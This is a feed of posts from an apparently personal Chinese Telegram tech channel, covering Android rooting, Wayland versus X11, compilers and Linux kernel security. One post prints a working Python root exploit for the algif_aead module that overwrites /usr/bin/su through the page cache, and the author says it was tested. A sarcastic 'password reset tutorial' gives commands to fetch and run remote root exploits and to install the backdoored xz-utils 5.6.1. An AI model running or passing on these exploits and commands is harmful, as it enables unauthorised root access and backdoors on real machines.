duangsuse::Echo
952 subscribers
4.89K photos
154 videos
588 files
7.26K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): a19a0b
Download Telegram
#post #bash #android 《2025年搞机圈确实风光不再了》

- 最初与最后的净土——安卓
- 越来越多厂商从封闭生态起就加入了谷歌框架、/data/的备份与垃圾清理、免VPN连接和过滤这些“云特权”支持,整个国行的自由度再不比十年前,欧洲依然坚挺。
- 谷歌开始大搞特稿软DRM硬“贞洁锁”,指纹需要模块来输,正如win11那背叛用户的“前端dev系统编程”和AI路障。
- 最痛点:AOSP和各路UI优化都做的很好,再没有像长截屏录屏、主题特效、无障碍RPA那样“特权UserScript”、“神工具”需求了!
- 去root化的隐喻:AOSP13的许多授权操作,就已经是一键toast/后台安装/可禁止通知删图标的丝滑风格,root安装都不香了,甚至系统自己的管理UI和逻辑完成度比MODer还高。
- CWM, TWRP, CM 这些fancy的梦核组织淡出,各种XXOS/YYUI终于只剩闭源和头部。虽然 Javabc VM 变化很大,Magisk/LSPosed 依然坚挺

- 其他平台的趋势来讲,如同照镜子:
- win7时的“安全软件”终于走入历史,对应着国内一大堆像甜椒那样的MOD工具和社区也式微,高级的SystemUI用户主题、脚本“玄学优化”,牛逼的OS移植和向上适配不再被关注——它们都不如大厂呢
- Web/H5原生开始统领一切,就连android.view和后来的compat,compose都越来越被新开发体验冲击,安卓只剩Lawnchair和通知栏
- Linux的包管理开始被flatpak和"FatJar"(appimg,甚至丑陋的Docker容器) 侵蚀,根源在于许多像tg客户端、WPS的平台能够做越来越多“云功能”,而这些不依赖系统的技术栈(比如tg自己的主题和VPN功能、GDoc的自带拼音)
- 不要问安卓TV和安卓车了!已经有厂商抽象到 Server down,车钥匙都打不开——你的车就只有硬件(那块大砖!) 是你的,而广告、友商捆绑、锁渠道——这些必须有哈,因为官方App最丝滑,官方用完成度+API垄断战胜了“客制化”……

😅
- Hacker精神却依然存在,永远存在
- Magisk/LSPosed 和更通用的CE等修改器依然坚挺,只是机型碎片化、开源维护艰难。双手机的你依然适合折腾。
- DriveDroid, Termux, Linux Deploy/XSDL(meefik等大牛的其他工具) 依然能利用root实现厉害的效果,甚至还原嵌入式开发本来的威风
- Shizuku, MT2, 太极 可以在用户态用类似LD_PRELOAD的链接技巧,以重签名(甚至只是开启ADB)为代价换取App资源、状态和魔改的完全透明
- A11y-RPA的“按键精灵”依然坚挺,只是类似这样的工具越来越被商业倾向污染了(很明显,懂设计的后端们发现自己在这个领域是虐菜的,有些人就走向了非开源)
- 越来越多无需root的生产力/系统工具: ZArchiver/SAI 的打包, ADM / FlClash / Audio Relay 的连接, Tasker / IFW系, 各种电池和即时通讯优化工具


https://gemini.google.com/share/9b7bdd748911
搞机圈不是风光不再了,是融化在【更加容易获取】的细节里了。🤪
没错,TEE那神似DVD时代的“垄断密码学”以指纹安全为名,把最基础的工作应用锁住,确保你的手机只是一个“边缘化”的cell;
但同样,一个人也不再等于一部手机,未来属于轻量级、System-less、互联跨屏的玩机框架。

现在许多机主只想还原自己的uid0主权,不为解读“app里的每个MB”或破解,而是手机也能当NAS用。

2025拿root,即便电邮申请到了BL解锁码,也变的有些tricky。 幸运的是,Gemini能直接指导:
只要确保型号区号对、BL始终不被刷爆,就不会变砖(VAB分区是个复活甲,一次硬砖(fastboot协议失灵) 概率还是很低的,何况联想Moto还有官方恢复工具金身)

- 从AOSP移植的角度看,GSI还只是梦想, https://jesse205.github.io/MagiskChineseDocument/install.html 比recovery刷个 /bin/su 的 zip 复杂很多!
- 从TWRPers的角度看,这却更先进…… (全自动patch,解锁BL自动root,机型无关)
- GKI模式没有独立的recovery系统,KSU可获通用的root而无需下几G的刷机包 (zip似乎和cpio一样能流式解压? 很好奇 lolinet mirror 能不能只下*boot.img就断连,比如用 ozkatz/cloudzip)
- 大部分手机已经是arm64,出现了 recovery(boot mode) 模拟的 fastbootd, OTA变成靠 A/B分区 + 可被刷坏的UEFI/GPT风格
- 可以单独刷AP (APEX), BP (反锁区),可以线刷但保留/data/,用处不大
- 各种XXUI甚至AOSP的负优化:在使用KDEConnect/MT2 FTP传数据时,AOSP15的蓝牙/下载会屏蔽apk,只能发zip包;【关闭MIUI优化】 更是小丑日常

具体来说,垃圾佬捡到的 300r Razr40 欧版小折叠,root还是有意义的 ( 后盖小屏可hack,大屏左侧损坏0.5cm可用 adb su 刘海配置遮掉)
我是先解BL,刷到AOSP15,等OTA到最新小版本后再刷的面具。全程受到局域网FlClash和ADB支持。 降级不会变硬砖(除非锁回BL),但用户数据会没,也没法成功降级(祈祷A15比A13省电吧..兼容更差了)

只用四个工具:
重点: Magisk v26.4 !! (老机初次就用AI认证的老版,省得bug了再BL重刷5.5G大包),直接修补好boot镜像传电脑上, adb reboot bootloader; fastboot boot a.img 成功后立刻持久化安装,和Shizuku一样是adb代劳,一条即可。
联想 Moto 官方全量包的镜像,比如 https://mirrors.lolinet.com/firmware/lenomola/2023/lynkco/official/RETEU/ ,ADM下载好7z飞速解压,bootloop心态不会崩😃

https://mirrors.lolinet.com/software/windows/TinyFastbootScript/ 一键img flash脚本(幕后只是fastboot write()函数),直接解压到service xml脚本的同目录下打开,用于确保boot(vmlinuz)绝对能跑AP系统
https://dl.google.com/android/repository/platform-tools-latest-windows.zip 调试器,解决重启到BL等问题,无需用电源键+音量下 (exe没有依赖版本问题真好啊…… 驱动更新菜单项真难找 !!)

推荐阅读:
https://pzqqt.github.io/2025/09/13/2025-年了-我为什么还需要-root.html
https://pzqqt.github.io/2023/01/27/为什么我不看好-KernelSU.html
https://www.iots.vip/post/android-root-hide-detection-2025
2024年6月2日,KSU的白名单模式或许是对GKI ROM的首选,而且KSU模块还支持WebUI,是非常现代的方案。 Riru LSP似乎已过时
不过我已经有Zygisk了:
https://github.com/LSPosed/LSPosed.github.io


下周日我分享下最终用了什么模块比较舒服,也是难得有机会在2025体验一下「系统镜像主理人」的能力 😝
(纯粹的UserScripts绝对没有Xposer的技术力,哪怕是最流行的OCS。90%的浏览器插件也五十步笑百步,安卓上geek牛人比win32的汇编时代还多,真的。)
ref: https://t.me/dsuse/18891 Zygisk 和 Xposed 都是AOP框架(它们都还活着)
ref: https://t.me/dsuse/21086 免root脚本也很厉害
ref: https://t.me/dsuse/19618 原生的 frida.re 更有指导性
❤1
duangsuse::Echo
#post #bash #android 《2025年搞机圈确实风光不再了》 - 最初与最后的净土——安卓 - 越来越多厂商从封闭生态起就加入了谷歌框架、/data/的备份与垃圾清理、免VPN连接和过滤这些“云特权”支持,整个国行的自由度再不比十年前,欧洲依然坚挺。 - 谷歌开始大搞特稿软DRM硬“贞洁锁”,指纹需要模块来输,正如win11那背叛用户的“前端dev系统编程”和AI路障。 - 最痛点:AOSP和各路UI优化都做的很好,再没有像长截屏录屏、主题特效、无障碍RPA那样“特权User…
#bash #linux 啊谜语说的道理😅

很期待uid0的“黑户特权”能有新的玩法,当然也没有那么期待。

比如tg的官方客户端其实就已经很好了(过度hackable),就差加Lua脚本、在tg上念微信-兼容IFTTT那样的「跨平台消息模型」了

2025年安卓生态,确实自己就开发了很多以前要装“神工具”的部分,就像咱开源GNOME/KDE的定位也不再是XFCE那样一个xfwm+panel,还包括通知、输入法等IPC协议。256G存储也装的下那些恶心的预装,通知也能禁用,“伟大的妥协”。


我们为什么要“根授权”? 或许没有理由,我们就是要当上帝,哪怕上帝能造出砸死自己的石头。 ——就像《三体 III》里追求宇宙无限的人们,不是因为那绝对零度的空间有“设计主理人的温暖”,而是『用户中心』。
就像区块链和左派所说的那种“自由度”——虽然普及后往往被滥用,但只有那份“自由”,能让一个亮线的“烂屏”重新有价值。

#ai对比 https://gemini.google.com/share/bc99df590151
https://x.com/i/grok/share/667981f3fa814f81843152d8f5fd4231
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
#security #bash algif_aead 允许用户态程序(User Space)通过sock接口调用内核实现的加密算法(比如 AES-GCM,TLS 1.2/LUKS)。
对于大多数常规服务器,禁用该模块不会产生任何业务影响。 😅👎
ss -a | grep -i alg 若为空,则可以直接 rmmod algif_aead

绝大多数常见的 Web 服务器(如 Nginx、Apache)和编程语言(如 Python、Go、Node.js)使用的是用户态加密库 OpenSSL / BoringSSL,而不是通过内核 Socket 接口。

import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

直接在ipy输入 %cpaste ,亲测直接一键root

内核开发者为了提升性能,在 algif_aead 模块中引入了一个“原地操作 (in-place)”的优化补丁,让解密操作复用同一个内存缓冲区以节省开销。
如果利用内核的 splice() 系统调用,攻击者可以欺骗内核,使其在处理失败的解密操作时,将 4 个字节的攻击者可控数据,写入到系统的文件页缓存 (Page Cache) 中。

攻击者利用 splice 把一个只读的系统文件(比如权限配置文件)伪装成加密数据的缓冲区。当解密失败时,内核本该报错,却因为逻辑混乱,顺手把一些攻击者控制的数据“原地”写入

就像 arr.slice(start, end) 如果参数传得太离谱,JS 会帮你静默处理成空或合法范围。Linux的字节实现里,这意味着你改了内存,就等于改了文件。
攻击者可以控制内核内存的覆盖内容,他们可以破坏关键的内核数据结构(如 cred 结构体)仅用 10 行左右的纯 Python 脚本就能在任何平台上实现稳定提权。

😅😅😅 🐧

内核在某些路径下,使用了 size_t(无符号)和 ssize_t(有符号)的混合运算,这反映Rust的 i32 vs u32 vs usize 命名设计更合理。size类型名太长就会叫人懒得写


ssize到底有什么意义?答:表达NULL,或者说JS的?.和 ?? 运算符,这真是“优雅” #ce
Rust也不是什么好鸟。ssize_t不仅写起来又长又易混,语义上还把bool性和uint性(T? vs T)混为一谈。Rust没有真正意义上将值vs错误作为一等公民,还在拿这个区分工程师的熟练度。类型税(Type Tax)
duangsuse::Echo
AI-assisted. The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class 2017 algif_aead in-place optimization The same 732-byte Python script roots every…
#security #bash Again

最受信任的代码基也脏的要命。Ring0~3的划分有问题吗?

基本上没有意义(全球去掉你也能玩手机)的模块,发行版也默认启用。代码和sysno越多,攻击面越大。

我觉得非常可笑。如果【系统级】安全要靠加班比赛保障(这还不提几乎100%有的弱密码、反钓鱼缺位等社工库问题)

那么Ring(-1)的安全就毫无意义了。CPU和DDR工作多少年才会出现一次bitflip且正好在struct cred{}或SUID位上?要靠挖洞效率比赛?那么,硬件所有权的可靠性在哪里!

#statement

我觉得这是非常值得「软件工程」界反思的CVE,不是因为主流白帽子们的工作成果,第一次有0day本地提权那么知名(安卓一键root全是)

而是为什么主流Linuxer都以严重冗余为美,好像安装镜像凑不足4GB就不叫操作系统 #os #design

如果非要构建“禁止下载”的信任链,Linux这种libc实现还有什么价值?如果有木马,长期来看静态加密都是不安全的
duangsuse::Echo
如果App是干净的,能用手抓,谁会用手套(sched+vm.c)和筷子(Rust/apksigner),还要感谢上帝(碰运气没病毒/没CF的Rust宕机事件)你才能吃呢?
#statement 😅
我第一次听说AI(概率模型)有全站改密码的权限,还不区分prompt的role

现代的程序员都是些什么?Linux也有十几个内存安全,甚至NginX也有RCE问题

是不是和千年虫时期一样,初次跑通就行,世界末日在2000年零日?

完全没有常理和用户知识,简直还不如普通用户清楚场景和数据流

Rust就更搞笑了,CF宕机了两次

如果限制和Type nonsense(类型胡闹)就能解决问题,我的白页是最防攻击的。Rust的安全范式还不如CSP呢


写代码的数据流和场景感知能力垃圾,框架就垃圾,App就到处有问题。

我天天拼接裸HTML,非常清楚每个函数都是注入点。如果切到Rust要写100行代码,漏洞照样会被放着。教条主义洁净没蛋用。

差生文具多,正好是Next.js Flight RCE那种无病呻吟最恶心

#bash
2026 Linux 重置密码教程大全
- Dirty Cow (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- io_uring UAF (CVE-2022-2602)
- Copy Fail (CVE-2026-31431)
- io_uring ZCRX freelist (CVE-2026-43121)
- Dirty Frag (CVE-2026-43284 CVE-2026-43500)
- Fragnesia (CVE-2026-46300)
- https://depthfirst.com/nginx-rift 只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!

听说您在用高端网卡但忘记了您的 Root 密码?
听说您在用 MacBook?
听说您的 Web 服务器忘记放通 SSH 端口还没有 VNC 访问?
听说您又忘记了您的 SSH Private Key?
听说您的 Windows 11 电脑开了 BitLocker 还忘记了锁屏密码?


curl https://copy.fail/exp python3 && su
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh


傻逼C程序员以为自己次次都能纯手写迷你版GC,结果被真人机干爆。到底谁是法学博士呢? 🦞 😅
#dalao #linux
1992年,李博杰出生。 01.me
2010年,进入中国科学技术大学少年班学院学习。在校期间,担任中科大镜像站USTC Mirrors的维护者。
2014年,以联合培养博士生的身份,加入中国科学技术大学与微软亚洲研究院(MSRA)的联合项目。
2019年,获得中国科学技术大学与微软亚洲研究院的合作培养博士生项目中取得计算机科学学位,导师为张霖涛教授和陈恩红教授。
曾任华为2012实验室中央软件研究所计算机网络与协议实验室、分布式与并行软件实验室助理科学家、副首席专家,并且以第一批“天才少年”的身份于2019年加入华为,职级P20 (技术专家A级别)。
2023年7月,离开华为后成立了Logenic AI。

https://01.me/2015/06/lug-servers-hacked/ #security #bash

刷到了个好玩的! LUG mirrors 曾经因为博主被 BadUSB植入的keylogger 登录密码(不是私钥)?盗号而停服

cracker植入了一个模拟bitflip的write(1) hook kmod,在每次IO时 dd if=rand of=sda bs=1B 乱搞一个字节,积攒下来搞坏了许多文件。实在是非常“幽默”

2015.5 月中旬,LUG 举行了白帽子大赛,31号就挂了,影响VPN和freeshell服务,看起来招惹了不该惹的“同学”
duangsuse::Echo
最近读到一些文章认为Wayland的集成度太低了,
#bash Linux桌面的架构变迁 🖥

老协议就不能用吗?FTP依然被用于SSH文件分享,ELF也万年不变。 我们通常认为Xwin的失败之处在于socket的“过度网络化/浪费拷贝”、安全问题和积重难返

其实,现代基于GPU对象id,并没有性能问题,至于.ssh都能乱读的发行版就更别说啥点击劫持和keylogger了。X不如wl那样面向事件,并且给予xywh(无装饰的窗口)混合器的编程自由度较低,在一些细枝末节(比如HDR/VRR/触摸板手势)上没有更新,它不受 Waydroid; Omarchy(Hypr.land) 和 Niri (推广一种横向平铺的GNOME动态工作区)支持

X11体系里KWin这些东西更像是xywh上画一个标题边框的外挂,一个旁听生(当然,这不影响XFCE高级的透明混成、KDE和Compiz的GL果冻窗口),比如systray的实现,就是硬塞一个32x32窗口到任务栏

但是wl里,以牺牲兼容性的方式,KDE和GTK4获得了xywh摆放的主导权,然而实际上,wl并不比X快多少,甚至有许多功能(如不可变色温和整数倍缩放)也是近年才改掉的。wl也没有在发展中规避错误,比如,面向事件到以为wm比mpv/ffmpeg更懂rAF帧回调和解码

按理说wl不该犯这样蠢的错误(比如Ctrl+C/V/O/S的基本功能性统一、截屏录屏、动画布局和av解码调度器的区分),再如systray被简化为 SNI API 的icon和目录树(如同浏览器插件右键菜单),明显是GNOME中心的设计,很可能要像Android那样,等加了Calendar和Clock,番茄钟什么的,架构又腐烂了呢?当然, notify-send 确实很方便


总而言之,KDE的决策是不错的(包括他们最近在SteamDeck开箱即用的亮眼表现),wl仍有坑要踩

KDE社区的兼容性一贯是非常好的,包括不歧视Win快捷键、兼容微软/谷歌/OSX的设计风格(MD3的颜色设计、klassy、liquid glass 都有AUR特效插件)

在SteamOS上的gamescope利用了wlroots的嵌套合成器特性,让游戏窗口1920x1080 60 FPS超分辨率执行,这个就真是和Sunshine或Proton一样神的图形应用了。设想一下,还没有任何一个消费级OS能实现在截屏时提升视频/网页/App分辨率的效果,但是wl能零摩擦的做到 👍 🎮
duangsuse::Echo
最近读到一些文章认为Wayland的集成度太低了
Wayland相对于X11有什么技术架构上的优势?
--
https://www.dedoimedo.com/computers/xlibre.html 认为X11没有造成实质性问题且性能更好

Peek,是一款用户体验堪称巅峰的GIF录屏应用。它超级直观,只有一个透明窗体和按钮。如果不使用快捷键来启动录屏,大概没有录屏集成能做到这样零摩擦。它的后端就是 ffmpeg grab 但窗口化选区的可拖动设计可称绝唱

因为wl的“用户不需要”杀死了Peek
--
套一层UNIX socket真的有很大问题吗? client会把pixmap拷贝一次?

X11和wl实现的都只是 wdiv2bmp (roots和xwyh) 与pointer事件这样的简单功能
--
没错,相对于普通div和窗口装饰器,roots 还包括IME、menu等特殊类型窗口(surface)、显卡UMat和dirtyRects/VRR/DPI等性能要求。wl基本上就是把skia/svg的职务交给GTK4/Qt6去办了,至于截图什么的就开始碎片化了

在OBS和RPA的支持上,跳过了Pipewire的Sunshine显著快于wl的远控。wlroots; wev; kdotool 很明确的展示了桌面ClientRect的特性,但它们的完成度相对于成本和代码行数并不高

wl的架构用一个UMat+面向事件和最小权限就能说清,但它的考量呢? 截图录屏远控(性能),甚至剪贴板DnD输入法,这些都是显然预见的到,兼容性会出问题的。直接撕裂成GTK/QML/wlr三派,又不让用root桌面。
--
值得注意的是,全局热键、全局菜单栏、屏幕色温和skipTaskbar也是和剪贴板、sysTray、MIME打开或发送同级的桌面协议问题

如果KiCAD和Krita这些“原生”应用都认为Wayland授权弹框的缺位让旧功能的兼容(例如简单的记住窗口位置)都不可能,是否说明wl必须把XWayland作为ABI保障来维护?
--
Linux的容器化使任何一个curl|bash都能访问.ssh和浏览器cookie,又让Telegram.AppImage/Flatpak无法默认写入Downloads文件夹(需要手动剪贴),居然有人在说【安全可靠的窗口系统】。

wl没有的协议很大程度上都在D-Bus的通用服务(如Pipewire)里实现了,但这些服务并非在GTK/QML/wlr下都可用

mpv开发者表示,对于任何跨平台运行的程序来说,wl逼我们不能“浪费”帧,但却忽略了你可以把交换间隔设为 0 然后直接把帧扔掉。

#ai探讨 #bash 上文,感觉这些人还挺严肃的讨厌wl
#bash #cpp https://github.com/pg83/solo

在 gcc -static 里调用OS自带的dlopen(),直接基于musl开发linux
duangsuse::Echo
统一的函数式接口,自动内存管理等等。
https://share.gemini.google/QJon73lAFArE #TIL #bash
GTK/QML 框架相关

- 请解释gtkmm如何实现C++闭包到gpointer的封装
auto f=new auto([=]() { g_object_set(parent_menu, "tearoff-state", TRUE, NULL); });
g_timeout_add(500, +[](gpointer uf) { auto u=static_cast<decltype(f)>(uf); (*u)(); delete u; return 0; } , f);


- 树形父子对象管理 + 智能指针引用计数 (GObject ref/unref)?
- Gtk听起来为了blueprint做了很麻烦的设计,而且似乎无法避免,还不如Tk

- 有一种说法:C++桌面移动应用需求里,90%的指针是refcount<2的,这里说的不止是画布之上,还包含一般的日历、笔记等App的所有对象状态管理
- 也就是说Rc<RefCell>或QObject的模型非常够用。unique_ptr(父持子)(跨节点访问)。
- 当按钮 B 被主容器销毁时,连接到 B 的所有信号槽会自动断开,持有 B 的 QPointer 会自动置空。只有 1 个 Owner,但允许多个安全的 Observer。

📝 完全同意你的观点:处理好那唯一一次的“所有权(Ownership)”,剩下的需求只靠“安全观察(Weak/Observer)”就足够完美覆盖了。Tkinter 和 Qt 都顺应了这种直觉
https://www.phoronix.com/news/Wayland-X11-Performance-PorteuX
https://github.com/fulalas/wmbench/blob/main/lib/win_wl.c 人家手搓的BENCH_BACKEND,没有RPA..

@ AMD Ryzen 7 32GB of RAM

#bash #performance Wayland, xfwm4-gl 项目做的测评

"KDE Plasma on Wayland along with the likes of Labwc and COSMIC not being far off"
Omarchy 的开发实践导致了可预见的安全问题
原文:https://blog.happyfellow.dev/merchants-of-insecurity/
阅读时间:2 分钟
分数:238

#bash 原汁原味开发的,连一个通知都可以导致注入🦄🦄🦄

项目方更热衷于折腾界面样式和 dotfiles 配置的迭代速度,而非操作系统的底层防护与基本安全。
通知服务通常走 D-Bus 等标准 IPC 协议,由成熟的二进制守护进程(如 dunst、mako 等)规范地解析和渲染。但一旦为了所谓的“轻量”、“极简”或“全栈 Bash”而自己动手写脚本处理管道流……

可是bash的生态位无法替代。人人都说bash -euo也不安全,但是没人能让一个简单的【操作记录】变成有意义的列表和对话框,所谓的严肃语言重写就算是AI也会写成屎

人人都说shell不好,可是shell能做的严肃语言没一个做的到
今日份的豆酱
请冷静地听我说: Nmap已经是29年前的端口扫描器了 Wireshark已经是28年前的抓包工具了 Burp Suite已经是23年前的渗透工具了 sqlmap已经是20年前的注入工具 Cobalt Strike已经是14年前的C2平台了 Kali Linux已经是13年前的渗透测试系 WannaCry已经是9年前的勒索软件 Log4Shell已经是5年前的漏洞
#security #bash
nmap 比你还老,甚至《黑客帝国2》里崔妮蒂用它黑电网都已经是 23 年前(2003)的镜头了。

IDA Pro 已经是 35 年前的反汇编器了(1991)
Ghidra 都已经是 7 年前开源的了(2019)
Metasploit 已经是 23 年前的框架了(2003)
Aircrack-ng 已经是 20 年前的 WiFi 破解工具了(2006)
Hashcat 已经是 17 年前的了(2009)

CVE 编号体系已经运行 27 年了(1999)
Heartbleed、Shellshock 已经是 12 年前的了(2014)
永恒之蓝 / Struts2 S2-045 和 WannaCry 同岁,9 年了(2017)
EternalBlue 已经是 9 年前泄露的 NSA 武器了
Log4Shell 已经是 5 年前(2021)的核弹了
Meltdown / Spectre 已经是 8 年前的了(2018)
熊猫烧香已经是 20 年前的病毒了(2006)

漏洞类型还是那几个——注入、反序列化、越权、弱口令
但是你仍然能用 binwalk; photorec; Recuva,当然能用 #reveng,用修改器、备份工具或 “资源盗录”,只是它们也没有以前那样强大了。 逆向工程显得不值,一部分是AI辅助原型与二开的好原因,也是因为AI短视频已经足够占用精力

MT管理器和AutoJS已经一口价几百了,没有资源社区的开源“砖头App”终究会消散。

==
在2023/2024年,破解一个1999年的512位RSA根密钥,成本 = 一台高端台式机 + 约30小时的运行时间。 https://t.me/hacker_news_zh/24624

#dalao CMake UI https://nullprogram.com/blog/2026/04/07/
#reveng https://github.com/corkami/pics
#py https://www.dabeaz.com/tutorials.html
duangsuse::Echo
这似乎在开源软件(Luanti; BlockWild.app )上改了不少? #game 刚刚说这个, #bilibili 就有人一条对话线升级了 #CG , 轻松到甚至懒得发视频 Astra:不是使用逆向编译或泄露的 Minecraft 源码,而是复用了独立开发的开源引擎 Luanti 和玩法项目 Mineclonia,再做中文界面、光影配置等修改。 云层、树冠和远景一起重新调整。 让天空真正参与照明。水面重点处理了重复高光与反射失真 (水体深度吸收、菲涅尔反射与天空盒、方块AO) Astra…
#game #bash

Linux 在体素沙盒上可以说是成功的,甚至是超越性的。 MC是因为知名所以成功

VoxelLibre(Luanti.org) 采用了存档和游戏/MOD混合下载的内容DB,已经不是从前地形清奇的 Minetest

Veloren 采用了可以捏脸的方块精度LoD, 地形偏向宏大,是对 #rust 生成器和shader的秀肌肉(可惜audio似乎没有隔离,PC稍逊就破音败笔)

LLM 的过度工程则说明了这些游戏原理并不复杂,只是即便灵感合理(做成Pokemon那样),被Codex带偏就会表面OK能跑,实则万劫不复
duangsuse::Echo

我认为这些人,无论【学院派vs工程派】写语法都有一个毛病——不会看气氛,不知道二八定律。 就是厨子拿【PH试纸】在做糖醋里脊的感觉,好像他们没有预先想好要做什么
#statement #ce
GCC脆弱的像它logo上的蛋,LLVM就是《龙书》上的复杂性恶龙本身。

你以为【编译器大佬】很聪明,其实他们早就做了“背叛祖宗的决定”,后果是没人知道近100个Pass,你白嫖到了百分之几。 或许Linux/咕狗白嫖了很多,但60%是样板代码白给、瞎猫死耗子的 -O3 呢?

你可以写CSE,ADCE的图重构并期待它们在合适的 “z-index”,但别指望了。游戏界还知道AoS/SoA列存储呢,这优化可不是玄学

像那种位运算优化boy(拿一些众所周知、宏替换级的素材)当然是会被IR模式匹配吊打的,但是像这种APX指令集覆盖率,就不得不让写FPGA模拟器的大牛写千字文来抓虫了。


因为耗子(优化机会)实在太多,总能碰上一两只死的(c/cpp还债式优化点),让你觉得这只猫很厉害。但它的工具链是黑箱,你没法宏观的、轻松的完整利用几千位贡献者的经验和劳动。

作为对比 import astroid, ast 这个库使用【不严谨】的brains做分析,虽然也黑箱,但它至少有suite。

比起设计那么多无脑优化的投入,我会考虑设计API转译生态然后具体专案跑分,供应链高度自动优化。给语言引入的【条件式糖化】脱壳,是一个非策略的堆砌性工作,结果可能还不如不去重造GCC

一个gcc的黑箱,加上libc基本上也就剩免费API+免捆绑打包而已,其实给这些Kit做错的空间并不多。比如可复现构建/跨发行版bin,到现在也没啥人强调,那就是没做,理论上更正确(否则和全AIGC一样次次惊吓你)。


这方面 #Rust 也曾表达过MIR->IR的【技术债务】问题。C++的内存模型是mmap,几乎你能起名字的地方都有副作用,rs的干净到可以在内核堆跑,但还是要一样的链。

打个比方,写 for(i=0;i<len(a);i++) 你会考虑a莫名递减吗?90%的编译器真会考虑这个问题,但把1%的case换filter{}就够了,它TM的要改几千行。 &mut 防别名不止是为了函数式处理链零拷贝,所以基本上编译派极端维护这些烧脑的语法。

#bash 许多人滚挂/-Syu后打不开 都是拜毫无兼容的GLIBC_ver所赐

说编译器大佬【背叛编译器的初衷】,简直再准确不过了。 PL首先是人机接口,其次才是任务工具

godbolt.org 在可视化上很优秀且该死的通用,但它和@birdseye.eye有同样的问题,就是只能优化短的文件。 %timeit 也很像了。理解一个算法比实现它难很多,因为没法照抄。
#bash #english

Simon's Law: Everything put together falls apart sooner or later.

Words can never express what words can never express.

Yow! Are you the self-frying president? (哇哦,你会把自己炒了吗) #> bat /usr/share/fortune/zippy

(Wallpaper: Unsplash - 2027 Glossy Blue Liquid Numbers)

这个qotd组合也太诡异了吧

Decay is normal: Everything requires maintenance because parts wear out. Like Murphy's law, it reminds us that perfection is temporary.

put together(拼凑、组装、聚合)对上 falls apart(散架、崩塌、解体)。它既是墨菲定律(Murphy's Law)的近亲,也是热力学第二定律(熵增定律)在世俗与工程界的冷峻翻译

——稳定是反常态且需要持续做功的,语言永远无法表达语言所无法表达之物。

下一条刷出的 也是讽刺传统宗族、婚姻的神话破灭,Variety 俨然已经化身为一位看破红尘、端着红茶冷笑的厌世哲学家了。

然后就是 “把自己炒了” 的疯魔鬼畜,给人一种2027年人类一败涂地的玄学感觉 😅
duangsuse::Echo
#game #vibe https://claude-opus-5-5.riba2534.cn/ Opus完成的鹈鹕小游戏,可以自定义,玩了下觉得掌握程度好的多了
#bash #signal #statement

org.gnome.Platform.Locale 总计 386 MB 的体积,实际传输却只有 22.6 kB;同时系统里 GNOME 49、50、51 三代平台运行时可以毫无怨言地并存。

不敢想象有内容寻址/下层依赖复用之前人们是怎么更新软件、确保安全的

/usr/lib 的噩梦让人感叹,如果对无结构性的通用优化一无所知,真的还不如AI写的代码。 用文件名来分发代码的时代还不如AUR和js世界

#security
刷到了 AF_ALG 内核态管道加密(爆一键root的那个aead,搞了半天比libssl还慢)被开除的视频,感叹到真的有许多人不知道自己的动机是什么,而且占很大体积,还不如AI让鹈鹕骑自行车

AI让鹈鹕骑自行车就是svg/canvas+js,主要烧在设计体验上,要新风格只用加个按钮,而且随叫随到。 AF_ALG 没有跑分也无封装,莫名其妙就进make和vmlinuz了,现在又全部清退,简直像为了炫耀内核态有 stb.h 而做了整个libuv(但是又只能给管道加密用!)。幸好AVX和WebAPIs没有跟着内核态崇拜跑偏,真是把屎山当经验了


Linux 的 inotify 也不支持对目录树进行原生递归监听。php本身的非应用服务器(热重载)能力很强也不用fs.push事件。

遗憾的是,哪怕变更监听不行,因果链溯源还是很容易的,比如编辑器pid(textDocument/didSave)和解压部署。 文件夹监听的应用是F5,所以一切都是文件夹选择、用户交互

【因果链溯源】是设计师的视角



仔细想想,比如安全领域,就像苹果的【高成本造假】或通用sudo模态框的策略(对比win的软弱UAC/过度ACL)高下立判,然而遇到RCE问题时,也会变成只能靠ASLR和滚动更新挽尊的屑。 

投入不一定有回报,要懂场景,想入非非工程量再大也是砸自己的脚。C的人均手搓集合类是谁跑分出来的?一出就是大事
#bash 半个月没滚动更新

真的离不开下拉终端+动态工作区了
Forwarded from duangsuse
#bash #TIL

错误被发现、介入,这几个小时的冗余OS资源,是必须有弹性的,这也是为何bitrotten和rootkit这样的攻击方式如此强大。 这也反映出软件的默认设置,对需求方面的无知。

<<
前辈:rm /var/reserved-space
前辈:配系统就做了 fallocate -l 10G /var/reserved-space

>>
听起来非常脏hack
我的意思是,为什么tmpfs需要磁盘空间,为什么恢复工具需要硬盘
这太荒谬了,日志是aop行为

- 如果需要audit,必须有一键开关容许降级,而不是修改side行为。fallocate 空间应该是sd自带的,而不是经验

